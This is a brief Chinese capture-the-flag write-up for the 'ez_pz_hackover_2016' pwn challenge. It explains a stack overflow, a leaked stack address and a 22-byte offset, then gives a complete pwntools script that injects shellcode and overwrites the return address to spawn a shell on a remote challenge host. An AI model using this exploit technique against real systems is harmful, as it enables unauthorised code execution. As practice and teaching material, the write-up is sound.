保护全关盲猜shellcode
这两个地方漏洞,栈溢出
这里两个函数介绍下
memchr 就是查找字符串
strcmp比较函数,遇到\x00停下,老熟人了,,,所以payload crashme\x00 开头
这里ida的溢出不准的。
自己调试得 22 偏移
噢 , 还有第一句话,直接来泄露栈上地址,好家伙就明确往栈上写shellcode
这偏移在ebp上面,ret addr写啥呢?写shellcode的地址,咋写呢?通过泄露的地址来写。泄露的地址距离ebp 0x20偏移上方,所以shellcode写哪?写ret addr 上面位置,所以ret addr就写泄露的栈地址-0x1c
from pwn import *
context.log_level = 'debug'
#io = process("./ez_pz_hackover_2016")
io = remote("node4.buuoj.cn",27039)
elf = ELF("./ez_pz_hackover_2016")
#gdb.attach(io, "b *0x08048600")
offset = 0x16
io.recvuntil("crash: ")
stack = int(io.recv(10),16)
log.success('stack ==>'+hex(stack))
shellcode = asm(shellcraft.sh())
shellcode_addr= stack - 0x1c
#payload='crashme\x00'+'aaaaaa'
payload = b"crashme\x00" + b"a" * (offset - 8+4) + p32(shellcode_addr) +shellcode
io.sendline(payload)
#pause()
io.interactive()